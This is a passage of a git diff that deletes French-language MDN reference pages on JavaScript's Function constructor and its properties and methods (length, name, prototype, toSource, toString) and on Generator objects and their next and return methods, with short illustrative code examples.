Appeler ce constructeur permet de créer des fonctions dynamiquement mais cette méthode souffre de défauts équivalents à {{jsxref("eval")}} en termes de sécurité et de performance. Toutefois, à la différence d'eval, le constructeur Function permet d'exécuter du code dans la portée globale.

- -
{{EmbedInteractiveExample("pages/js/function-constructor.html")}}
- - - -

Syntaxe

- -
new Function ([arg1[, arg2[, ...argN]],] corpsFonction)
- -

Paramètres

- -
-
arg1, arg2, ... argN
-
Les noms utilisés par la fonction pour les arguments formellement déclarés. Chacun doit être une chaîne de caractères correspondant à un identifiant JavaScript valide (ou une liste de telles chaînes séparées par des virgules). Par exemple : "x", "uneValeur", ou "a,b".
-
corpsFonction
-
Une chaîne de caractères qui contient les instructions JavaScript définissant la fonction.
-
- -

Description

- -

Les objets Function créés avec le constructeur Function sont analysés quand la fonction est créée. Ceci est moins efficace que de déclarer une fonction grâce à une {{jsxref("Opérateurs/L_opérateur_function","expression de fonction","",1)}} ou à une instruction {{jsxref("Instructions/function","function")}} car celles crées de cette façon sont analysées avec le reste du code.

- -

Tous les arguments passés à la fonction seront traités avec les noms des identifiants des paramètres de la fonction à créer, dans le même ordre dans lequel ils ont été passés. Si un argument n'est pas passé, la valeur du paramètre dans la fonction sera {{jsxref("undefined")}}.

- -

Appeler le constructeur Function comme une fonction (c'est-à-dire sans utiliser l'opérateur {{jsxref("Opérateurs/L_opérateur_new","new")}}) a le même effet que quand il est appelé comme constructeur.

- -

Propriétés et méthodes de Function

- -

L'objet global Function ne possède pas de méthodes ou de propriétés propres. Cependant, il est lui-même une fonction et hérite de certaines méthodes et propriétés depuis {{jsxref("Function.prototype")}} grâce à la chaîne de prototype.

- -

Le prototype de Function

- -

Propriétés

- -
{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/Function/prototype', 'Propri.C3.A9t.C3.A9s')}}
- -

Méthodes

- -
{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/Function/prototype', 'M.C3.A9thodes')}}
- -

Les instances de Function

- -

Les instances de Function héritent des méthodes et propriétés de {{jsxref("Function.prototype")}}. Comme pour les autres constructeurs, il est possible de modifier le prototype du constructeur afin d'apporter des modifications à toutes les instances de Function.

- -

Exemple

- -

Définir des arguments avec le constructeur Function

- -

Le code suivant permet de créer un objet Function qui utilise deux arguments :

- -
// Cet exemple peut être lancé dans votre console JavaScript
-
-// On crée un fonction qui prend deux arguments
-// et qui en renvoie la somme
-var ajoute = new Function('a', 'b', 'return a + b');
-
-// On appelle la fonction
-ajoute(2, 6);
-// > 8
-
- -

Les arguments "a" et "b" sont les noms des arguments formellement déclarés utilisés dans le corps de la fonction : "return a + b".

- -

Différence entre le constructeur Function et les déclarations de fonction

- -

Les fonctions créées avec le constructeur {{jsxref("Function()")}} ne créent pas de fermetures liées au contexte de leur création. Ainsi, lorsqu'elles sont exécutées, elles ne peuvent accéder qu'aux variables globales et à leurs propres valeurs locales. Elles ne peuvent pas accéder aux variables de la portée dans laquelle le constructeur Function a été invoqué. Le comportement est différent de celui qu'on obtient avec {{jsxref("eval")}} avec du code contenant une expression de fonction.

- -
var x = 10;
-
-function créerFonction1() {
-  var x = 20;
-  return new Function("return x;"); // ici |x| fait référence au |x| global
-}
-
-function créerFonction2() {
-  var x = 20;
-  function f() {
-    return x; // ici |x| fait référence au |x| local juste avant
-  }
-  return f;
-}
-
-var f1 = créerFonction1();
-console.log(f1());          // 10
-var f2 = créerFonction2();
-console.log(f2());          // 20
- -

Bien que ce code fonctionne dans un navigateur web, l'appel à f1() provoquera une {{jsxref("ReferenceError")}} dans Node.js car x ne sera pas trouvé. En effet, pour Node, la portée de plus haut niveau n'est pas la portée globale et x est ici local à la fonction.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.3', 'Function')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-function-objects', 'Function')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-function-objects', 'Function')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Function")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Fonctions", "Les fonctions","",1)}}
    • -
  • L'instruction {{jsxref("Instructions/function", "function")}}
    • -
  • L'expression {{jsxref("Opérateurs/L_opérateur_function", "function")}}
    • -
  • L'instruction {{jsxref("Instructions/function*", "function*")}}
    • -
  • L'expression {{jsxref("Opérateurs/function*", "function*")}}
    • -
  • {{jsxref("AsyncFunction")}}
    • -
  • {{jsxref("GeneratorFunction")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/function/length/index.html b/files/fr/web/javascript/reference/objets_globaux/function/length/index.html deleted file mode 100644 index 023b40a5f8..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/function/length/index.html +++ /dev/null @@ -1,89 +0,0 @@ ---- -title: Function.length -slug: Web/JavaScript/Reference/Objets_globaux/Function/length -tags: - - Function - - JavaScript - - Propriété - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Function/length ---- -
{{JSRef}}
- -

La propriété length définit le nombre de paramètres attendus par la fonction.

- -
{{EmbedInteractiveExample("pages/js/function-length.html")}}
- - - -
{{js_property_attributes(0,0,1)}}
- -

Description

- -

length est une propriété des fonctions qui indique le nombre d'arguments attendus par la fonction (ce qui correspond au nombre d'arguments formellement déclarés). Cette quantité n'inclue pas les {{jsxref("Fonctions/paramètres_du_reste", "paramètres du reste", "", 1)}} et ne compte que les paramètres situés avant le premier paramètre avec une valeur par défaut. Cette propriété est différente de {{jsxref("Fonctions/arguments/length", "arguments.length")}} qui est locale à la fonction et qui décrit le nombre d'arguments réellement passés à la fonction.

- -

Propriété du constructeur Function

- -

Le constructeur {{jsxref("Function")}} est lui-même un objet {{jsxref("Function")}}. Sa propriété length vaut 1. Les attributs de cette propriété sont : Écrivable : false, Énumérable : false, Configurable : true.

- -

Propriété du prototype de Function

- -

La propriété length du prototype de {{jsxref("Function")}} vaut 0.

- -

Exemples

- -
console.log(Function.length); /* 1 */
-
-console.log((function()        {}).length); /* 0 */
-console.log((function(a)       {}).length); /* 1 */
-console.log((function(a, b)    {}).length); /* 2 etc. */
-console.log((function(...args) {}).length);
-// 0, le paramètre du reste n'est pas compté
-console.log((function(a, b = 1, c) {}).length);
-// 1, seuls les paramètres avant les valeurs par
-// défaut sont comptés
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.3.5.1', 'Function.length')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-function-instances-length', 'Function.length')}}{{Spec2('ES6')}}L'attribut configurable de cette propriété vaut true désormais.
{{SpecName('ESDraft', '#sec-function-instances-length', 'Function.length')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Function.length")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Function", "Function")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/function/name/index.html b/files/fr/web/javascript/reference/objets_globaux/function/name/index.html deleted file mode 100644 index b9b6f8300e..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/function/name/index.html +++ /dev/null @@ -1,201 +0,0 @@ ---- -title: Function.name -slug: Web/JavaScript/Reference/Objets_globaux/Function/name -tags: - - ECMAScript 2015 - - Function - - JavaScript - - Propriété - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Function/name ---- -
{{JSRef}}
- -

La propriété function.name est une propriété en lecture seule qui renvoie le nom de la fonction courante ou "anonymous" si celle-ci a été créée de façon anonyme.

- -
{{EmbedInteractiveExample("pages/js/function-name.html")}}
- - - -
{{js_property_attributes(0,0,1)}}
- -
-

Note : Dans les implémentations non-standards antérieures à ES2015, l'attribut configurable valait false.

-
- -

Exemples

- -

Instruction de fonction

- -

La propriété name renvoie le nom de la fonction lorsque celle-ci est utilisée dans une instruction de fonction.

- -
function faireUnTruc() {}
-faireUnTruc.name; // "faireUnTruc"
-
- -

Fonctions créées avec un constructeur

- -

Lorsqu'on crée une fonction avec new Function(...) ou simplement Function(...), on crée uniquement des objets dont le nom est "anonymous".

- -
(new Function).name; // "anonymous"
- -

Inférence des noms de fonction

- -

Les variables et les méthodes permettent d'inférer (c'est-à-dire de « deviner ») le nom des fonctions anonymes en fonction de leur position syntaxique (cette fonctionnalité est apparue avec ECMAScript 2015).

- -
var f = function() {};
-var objet = {
-  uneMéthode: function() {}
-};
-
-console.log(f.name); // "f"
-console.log(objet.uneMéthode.name); // "uneMéthode"
-
- -

On peut définir une fonction avec un nom grâce à une {{jsxref("Opérateurs/L_opérateur_function", "expression de fonction", "", 1)}}:

- -
var objet = {
-  uneMéthode: function objet_maMéthode() {}
-};
-console.log(objet.uneMéthode.name); // logs "objet_maMéthode"
-
-try { objet_maMéthode } catch(e) { console.log(e); }
-// ReferenceError: objet_maMéthode is not defined
-
- -

On ne peut pas changer le nom d'une fonction, cette propriété est uniquement en lecture :

- -
var objet = {
-  // anonyme
-  uneMéthode: function() {}
-};
-
-objet.uneMéthode.name = 'uneMéthode';
-console.log(object.uneMéthode.name); // une chaîne vide, uneMéthode est anonyme
-
- -

Pour modifier le nom, on pourrait cependant utiliser la méthode {{jsxref("Object.defineProperty()")}}.

- -

Notation raccourcie pour les méthodes

- -
var o = {
-  toto(){}
-};
-o.toto.name; // "toto";
- -

Noms des fonctions liées

- -

{{jsxref("Function.bind()")}} produit une fonction dont le nom sera la chaîne "bound " suivi du nom de la fonction.

- -
function toto() {};
-toto.bind({}).name; // "bound toto"
-
- -

Noms de fonction pour les accesseurs et les mutateurs

- -

Lorsqu'on utilise les propriétés d'accesseur get / set, "get" ou "set" apparaîtra avant le nom de la fonction.

- -
var o = {
-  get toto(){},
-  set toto(x){}
-};
-
-var descripteur = Object.getOwnPropertyDescriptor(o, "toto");
-descripteur.get.name; // "get toto"
-descripteur.set.name; // "set toto";
- -

Noms des fonctions utilisées dans les classes

- -

On peut utiliser la notation obj.constructor.name pour vérifier la « classe » d'un objet (attention aux avertissements ci-après) :

- -
function Toto() {}  // Syntaxe ES2015 : class Toto {}
-
-var instanceDeToto = new Toto();
-console.log(instanceDeToto.constructor.name); // affiche "Toto" dans la console
-
- -

Attention : l'interpréteur utilisera la propriété native Function.name uniquement si la fonction ne possède pas une propriété en propre intitulée name (cf section 9.2.11 de la spécification ECMAScript2015). Cependant, ES2015 indique que les propriétés définies avec mot-clé static seront des propriétés propres de la fonction constructrice (cf. ECMAScript2015, 14.5.14.21.b + 12.2.6.9). Ainsi, il n'est plus possible d'obtenir le nom de la classe si celle-ci possède une méthode statique intitulée name() :

- -
class Toto {
-  constructor() {}
-  static name() {}
-}
-
- -

Avec static name(), Toto.name ne contient plus le nom de la classe mais une référence à l'objet name(). La définition utilisée ci-avant se comporte de façon semblable à ce fragment de code ES5 :

- -
function Toto() {}
-Object.defineProperty(Toto, 'name', { writable: true });
-Toto.name = function() {};
-
- -

Il est donc parfois erroné de penser que Function.name pointe toujours vers le nom de la classe.

- -

Noms de fonction sous la forme de symboles

- -

Si un symbole ({{jsxref("Symbol")}}) est utilisé comme nom d'une fonction et que celui-ci dispose d'une description, c'est cette dernière qui sera utilisée comme nom de la méthode, entre crochets :

- -
var sym1 = Symbol("Toto");
-var sym2 = Symbol();
-var o = {
-  [sym1]: function(){},
-  [sym2]: function(){}
-};
-
-o[sym1].name; // "[Toto]"
-o[sym2].name; // ""
- -

Compresseurs et outils de minification JavaScript

- -

Attention à l'utilisation de Function.name lorsque le code source est transformé par certains outils. En effet, ceux-ci réduisent généralement la taille d'un programme en compressant les espaces et en modifiant parfois les noms de variables. Ainsi, un fragment de code comme :

- -
function Toto() {};
-var toto = new Toto();
-
-if (Toto.constructor.name === 'Toto') {
-  console.log("'toto' est une instance de 'Toto'");
-} else {
-  console.log('Oups !');
-}
-
- -

pourrait être compressé en :

- -
function a() {};
-var b = new a();
-if (b.constructor.name === 'Toto') {
-  console.log("'toto' est une instance de 'Toto'");
-} else {
-  console.log('Oups !');
-}
-
- -

Dans la version non-compressée, la condition du test est remplie et on affiche 'toto' est une instance de 'Toto' dans la console. Mais dans la version compressée, la condition n'est pas vérifiée. Lorsqu'on utilise name, il faut s'assurer que les outils utilisés ne modifient pas le nom des fonctions.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-name', 'name')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-function-instances-name', 'name')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Function.name")}}

diff --git a/files/fr/web/javascript/reference/objets_globaux/function/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/function/prototype/index.html deleted file mode 100644 index ff4a70e10f..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/function/prototype/index.html +++ /dev/null @@ -1,99 +0,0 @@ ---- -title: Function.prototype -slug: Web/JavaScript/Reference/Objets_globaux/Function/prototype -tags: - - Function - - JavaScript - - Propriété - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Function -translation_of_original: Web/JavaScript/Reference/Global_Objects/Function/prototype ---- -
{{JSRef}}
- -

La propriété Function.prototype représente le prototype de l'objet {{jsxref("Function")}}.

- -

Description

- -

Les objets {{jsxref("Function")}} héritent de Function.prototype. Function.prototype ne peut pas être modifié.

- -

Propriétés

- -
-
{{jsxref("Function.arguments")}} {{deprecated_inline}}
-
Un tableau correspondant aux arguments passés à la fonction. Cette propriété est dépréciée et il est préférable d'utiliser l'objet {{jsxref("Fonctions/arguments", "arguments")}} à la place.
-
{{jsxref("Function.arity")}} {{obsolete_inline}}
-
Cette propriété était utilisée pour indiquer le nombre d'arguments attendus par la fonction. Cette propriété a été supprimée. La propriété {{jsxref("Function.length", "length")}} doit être utilisée à la place.
-
{{jsxref("Function.caller")}} {{non-standard_inline}}
-
Indique la fonction qui a appelée la fonction courante.
-
{{jsxref("Function.length")}}
-
Indique le nombre d'arguments attendus par la fonction.
-
{{jsxref("Function.name")}}
-
Le nom de la fonction.
-
{{jsxref("Function.displayName")}} {{non-standard_inline}}
-
Le nom de la fonction à utiliser pour l'affichage.
-
Function.prototype.constructor
-
Définit la fonction qui crée le prototype de l'objet. Voir la page {{jsxref("Object.prototype.constructor")}} pour plus de détails.
-
- -

Méthodes

- -
-
{{jsxref("Function.prototype.apply()")}}
-
Cette méthode applique la fonction et pour cette fonction, this sera la valeur passée en argument (l'objet manipulé peut ainsi être différent de l'objet courant). Les arguments peuvent être passés grâce à un objet {{jsxref("Array")}}.
-
{{jsxref("Function.prototype.bind()")}}
-
Cette méthode crée un nouvelle fonction qui, lorsqu'elle est appelée, appelle cette fonction dans le contexte de la valeur fournie avec une suite d'arguments à utiliser avant ceux fournis à la nouvelle fonction.
-
{{jsxref("Function.prototype.call()")}}
-
Cette méthode applique la fonction, et pour cette fonction, this sera la valeur passée en premier arguments. Les arguments peuvent être passés tels quels dans les arguments suivants.
-
{{jsxref("Function.prototype.isGenerator()")}} {{non-standard_inline}}
-
Cette méthode renvoie true si la fonction est un générateur ; sinon elle renvoie false.
-
{{jsxref("Function.prototype.toSource()")}} {{non-standard_inline}}
-
Cette méthode renvoie une chaîne de caractères représentant le code source de la fonction. Elle surcharge la méthode {{jsxref("Object.prototype.toSource")}}.
-
{{jsxref("Function.prototype.toString()")}}
-
Cette méthode renvoie une chaîne de caractères représentant le code source de la fonction. Elle surcharge la méthode {{jsxref("Object.prototype.toString")}}.
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.3.5.2', 'Function.prototype')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-function-instances-prototype','Function.prototype')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-function-instances-prototype', 'Function.prototype')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Function.prototype")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Function")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/function/tosource/index.html b/files/fr/web/javascript/reference/objets_globaux/function/tosource/index.html deleted file mode 100644 index 3eb4b0d6dc..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/function/tosource/index.html +++ /dev/null @@ -1,67 +0,0 @@ ---- -title: Function.prototype.toSource() -slug: Web/JavaScript/Reference/Objets_globaux/Function/toSource -tags: - - Function - - JavaScript - - Méthode - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Function/toSource ---- -
{{JSRef}}{{non-standard_header}}
- -

La méthode toSource() renvoie une chaîne de caractères représentant le code source de l'objet.

- -

Syntaxe

- -
function.toSource();
-Function.toSource();
-
- -

Valeur de retour

- -

Une chaîne de caractères représentant le code source de l'objet.

- -

Description

- -

La méthode toSource() renvoie les valeurs suivantes :

- -
    -
  • Pour l'objet natif {{jsxref("Function")}}, toSource() renvoie la chaîne suivante qui indique que le code source n'est pas disponible : - - 
    function Function() {
-    [native code]
-}
-
    -
    • -
  • Pour les fonctions définies dans les scripts, toSource() renverra la chaîne correspondant au code source JavaScript de l'objet. - 
    function coucou() {
-  console.log("Coucou le monde");
-}
-
-coucou.toSource();
-// produira la chaîne de caractères
-// "function coucou() {
-//   console.log(\"Coucou le monde\");
-// }"
-
    -
    • -
- -

De façon générale, cette méthode est utilisée en interne par le moteur JavaScript et n'est pas utilisée dans les scripts tiers. Il est possible d'utiliser cette méthode pour une aide au débogage et pouvoir examiner le contenu d'un objet.

- -

Spécifications

- -

Ne fait partie d'aucune spécification. Implémentée avec JavaScript 1.3.

- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Function.toSource")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Object.prototype.toSource()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/function/tostring/index.html b/files/fr/web/javascript/reference/objets_globaux/function/tostring/index.html deleted file mode 100644 index db667ff0f6..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/function/tostring/index.html +++ /dev/null @@ -1,98 +0,0 @@ ---- -title: Function.prototype.toString() -slug: Web/JavaScript/Reference/Objets_globaux/Function/toString -tags: - - Function - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Function/toString ---- -
{{JSRef}}
- -

La méthode toString() renvoie une chaîne de caractères représentant le code source de la fonction.

- -
{{EmbedInteractiveExample("pages/js/function-tostring.html")}}
- - - -

Syntaxe

- -
function.toString(indentation)
- -

Valeur de retour

- -

Une chaîne de caractères qui représente le code source de la fonction.

- -

Description

- -

L'objet {{jsxref("Function")}} redéfinit la méthode {{jsxref("Object.prototype.toString", "toString")}} de l'objet {{jsxref("Object")}} ; il n'hérite donc pas de {{jsxref("Object.prototype.toString")}}. Pour les objets {{jsxref("Function")}}, la méthode toString renvoie une chaîne de caractères représentant l'objet sous la forme d'une déclaration de fonction. Pour ce faire, toString décompile la fonction pour renvoyer une chaîne qui contient le mot-clé function, la liste des arguments, les accolades et la source correspondant au corps de la fonction.

- -

Le moteur JavaScript appelle la méthode toString automatiquement lorsqu'un objet {{jsxref("Function")}} doit être représenté textuellement (par exemple lorsqu'une fonction doit être concaténée avec une chaîne de caractères).

- -

La méthode toString() lèvera une exception {{jsxref("TypeError")}} (« Function.prototype.toString called on incompatible object ») si la valeur this n'est pas un objet Function.

- -
Function.prototype.toString.call("toto"); // TypeError
-
- -

Si la méthode toString() est appelée sur des fonctions natives qui ne sont pas définies dans le script, toString() renvoie une chaîne de caractères indiquant le caractère natif :

- -
Math.abs.toString();
-
-"function abs() {
-    [native code]
-}"
- -

Si la méthode toString() est appelée sur une fonction créée avec le constructeur Function, toString() renverra le code source d'une fonction intitulée anonymous et utilisera les paramètres et le corps de la fonction fournis.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.1.
Function.prototype.toString()BrouillonStandardise la chaîne de caractères utilisée pour les fonctions natives ainsi que la gestion des fins de ligne.
{{SpecName('ES6', '#sec-function.prototype.tostring', 'Function.prototype.toString')}}{{Spec2('ES6')}}Critères supplémentaires ajoutés sur la représentation de la chaîne.
{{SpecName('ESDraft', '#sec-function.prototype.tostring', 'Function.prototype.toString')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Function.toString")}}

- -

Notes spécifiques à Firefox

- -
    -
  • À partir de Firefox 17.0, Function.prototype.toString() a été implémenté en sauvegardant le code source de la fonction. La méthode utilisant la décompilation a été retirée et le paramètre indentation n'est donc plus nécessaire. Pour plus d'informations, voir {{bug("761723")}}.
    • -
  • À partir de Firefox 38 et jusqu'à Firefox 63, Function.prototype.toString() levait une exception pour les {{jsxref("Proxy")}} (cf. {{bug(1100936)}} et {{bug(1440468)}}).
    • -
- -

Voir aussi

- -
    -
  • {{jsxref("Object.prototype.toString()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/generator/index.html b/files/fr/web/javascript/reference/objets_globaux/generator/index.html deleted file mode 100644 index 3557fe4bb2..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/generator/index.html +++ /dev/null @@ -1,135 +0,0 @@ ---- -title: Generator -slug: Web/JavaScript/Reference/Objets_globaux/Generator -tags: - - ECMAScript 2015 - - Generator - - JavaScript - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Generator ---- -
{{JSRef}}
- -

L'objet Generator est renvoyé par une {{jsxref("Instructions/function*","fonction génératrice","",1)}}, c'est à la fois un itérateur et un itérable.

- -

Syntaxe

- -
function* gen() {
-  yield 1;
-  yield 2;
-  yield 3;
-}
-
-var g = gen(); // "Generator { }"
- -

Méthodes

- -
-
{{jsxref("Generator.prototype.next()")}}
-
Renvoie une valeur générée par l'expression {{jsxref("Opérateurs/yield", "yield")}}.
-
{{jsxref("Generator.prototype.return()")}}
-
Renvoie la valeur donnée et termine le générateur.
-
{{jsxref("Generator.prototype.throw()")}}
-
Lève une exception dans un générateur. Cette opération termine le générateur, sauf si l'exception est interceptée dans le générateur.
-
- -

Exemple

- -

Un itérateur infini

- -
function* idMaker(){
-    var index = 0;
-    while(true)
-        yield index++;
-}
-
-var gen = idMaker(); // "Generator { }"
-
-console.log(gen.next().value); // 0
-console.log(gen.next().value); // 1
-console.log(gen.next().value); // 2
-// ...
- -

Générateurs historiques

- -

Firefox (SpiderMonkey) implémente également une version antérieure pour les générateurs avec JavaScript 1.7. Pour cette syntaxe, il n'y a pas besoin d'utiliser l'astérisque dans la déclaration de la fonction, il suffit d'utiliser le mot-clé yield dans le corps de la fonction. Les générateurs historiques sont une fonctionnalité dépréciée et seront supprimés à l'avenir ({{bug(1083482)}}), il est fortement déconseillé de les utiliser.

- -

Méthodes pour les générateurs historiques

- -
-
Generator.prototype.next() {{non-standard_inline}}
-
Renvoie une valeur générée par l'expression {{jsxref("Opérateurs/yield", "yield")}}. Cette méthode correspond à next() pour les générateurs ES2015.
-
Generator.prototype.close() {{non-standard_inline}}
-
Clôture le générateur, tout appel ultérieur à next() renverra une exception {{jsxref("StopIteration")}}. Cela correspond à la méthode return() pour les générateurs ES2015.
-
Generator.prototype.send() {{non-standard_inline}}
-
Utilisée pour envoyer une valeur à un générateur. La valeur est renvoyée avec une expression {{jsxref("Opérateurs/yield", "yield")}} et renvoie une valeur générée par la prochaine expression {{jsxref("Opérateurs/yield", "yield")}}. send(x) correspond à next(x) pour les générateurs ES2015.
-
Generator.prototype.throw() {{non-standard_inline}}
-
Lève une exception au sein d'un générateur. Cela correspond à la méthode throw() pour les générateurs ES2015.
-
- -

Exemple utilisant un générateur historique

- -
function* fibonacci() {
-  var a = yield 1;
-  yield a * 2;
-}
-
-var it = fibonacci();
-console.log(it);          // "Generator {  }"
-console.log(it.next());   // 1
-console.log(it.send(10)); // 20
-console.log(it.close());  // undefined
-console.log(it.next());   // throws StopIteration (le générateur est clôturé)
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-generator-objects', 'Generator objects')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-generator-objects', 'Generator objects')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Generator")}}

- -

Voir aussi

- -

Générateurs historiques

- -
    -
  • {{jsxref("Instructions/Fonction_génératrice_historique", "Fonction génératrice historique", "", 1)}}
    • -
  • {{jsxref("Opérateurs/function*", "L'expression d'un générateur historique", "", 1)}}
    • -
  • {{jsxref("StopIteration")}}
    • -
  • Le protocole itérateur historique
    • -
- -

Générateurs ES2015

- -
    -
  • {{jsxref("Fonctions", "Fonctions", "", 1)}}
    • -
  • {{jsxref("Instructions/function", "function")}}
    • -
  • L'expression {{jsxref("L_opérateur_function", "function")}}
    • -
  • {{jsxref("Function")}}
    • -
  • {{jsxref("Instructions/function*", "function*")}}
    • -
  • L'expression {{jsxref("Opérateurs/function*", "function*")}}
    • -
  • {{jsxref("GeneratorFunction")}}
    • -
  • Le protocole Iterator
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/generator/next/index.html b/files/fr/web/javascript/reference/objets_globaux/generator/next/index.html deleted file mode 100644 index 059ebdac04..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/generator/next/index.html +++ /dev/null @@ -1,116 +0,0 @@ ---- -title: Generator.prototype.next() -slug: Web/JavaScript/Reference/Objets_globaux/Generator/next -tags: - - ECMAScript 2015 - - Generator - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Generator/next ---- -
{{JSRef}}
- -

La méthode next() renvoie un objet possédant deux propriétés done et value. Cette méthode peut également recevoir un paramètre pour envoyer une valeur au générateur.

- -

Syntaxe

- -
gen.next(valeur)
- -

Paramètres

- -
-
valeur
-
La valeur à envoyer au générateur. La valeur sera affectée comme résultat d'une expression yield. Autrement dit, lorsque le générateur contient une expression de la forme variable = yield expression, c'est l'argument valeur qui sera affecté à variable.
-
- -

Valeur de retour

- -

Un {{jsxref("Object")}} possédant deux propriétés :

- -
    -
  • done (un booléen) - -
      -
    • vaut true si l'itérateur a atteint la fin de la série sur laquelle il itère. Dans ce cas, la propriété value définit la valeur de retour pour l'itérateur.
      • -
    • vaut false si l'itérateur a pu fournir la prochaine valeur de la série. C'est la valeur par défaut si la propriété done n'est pas définie.
      • -
    -
    • -
  • value - n'importe quelle valeur JavaScript renvoyée par l'itérateur. Cette propriété peut être absente lorsque done vaut true.
    • -
- -

Exemples

- -

Utiliser next()

- -

L'exemple suivant illustre comment utiliser un générateur simple et les objets renvoyés par la méthode next :

- -
function* gen() {
-  yield 1;
-  yield 2;
-  yield 3;
-}
-
-var g = gen(); // "Generator { }"
-g.next();      // "Object { value: 1, done: false }"
-g.next();      // "Object { value: 2, done: false }"
-g.next();      // "Object { value: 3, done: false }"
-g.next();      // "Object { value: undefined, done: true }"
-
- -

Envoyer des valeurs à un générateur

- -

Ici, next est appelé avec une valeur. On notera ici que le premier appel n'affiche rien car le générateur n'a encore rien généré.

- -
function* gen() {
-  while(true) {
-    var value = yield null;
-    console.log(value);
-  }
-}
-
-var g = gen();
-g.next(1);
-// "{ value: null, done: false }"
-g.next(2);
-// 2
-// "{ value: null, done: false }"
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-generator.prototype.next', 'Generator.prototype.next')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-generator.prototype.next', 'Generator.prototype.next')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Generator.next")}}

-
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/generator/return/index.html b/files/fr/web/javascript/reference/objets_globaux/generator/return/index.html deleted file mode 100644 index e67c07ad43..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/generator/return/index.html +++ /dev/null @@ -1,102 +0,0 @@ ---- -title: Generator.prototype.return() -slug: Web/JavaScript/Reference/Objets_globaux/Generator/return -tags: - - ECMAScript 2015 - - Generator - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Generator/return ---- -
{{JSRef}}
- -

La méthode return() renvoie la valeur fournie et termine le générateur.

- -

Syntaxe

- -
gen.return(valeur)
- -

Paramètres

- -
-
valeur
-
La valeur à renvoyer
-
- -

Valeur de retour

- -

La valeur fournie comme argument.

- -

Exemples

- -

Utiliser return()

- -

L'exemple suivant illustre une utilisation simple d'un générateur et de la méthode return().

- -
function* gen() {
-  yield 1;
-  yield 2;
-  yield 3;
-}
-
-var g = gen();
-
-g.next();         // { value: 1, done: false }
-g.return("toto"); // { value: "toto", done: true }
-g.next();         // { value: undefined, done: true }
-
- -
-

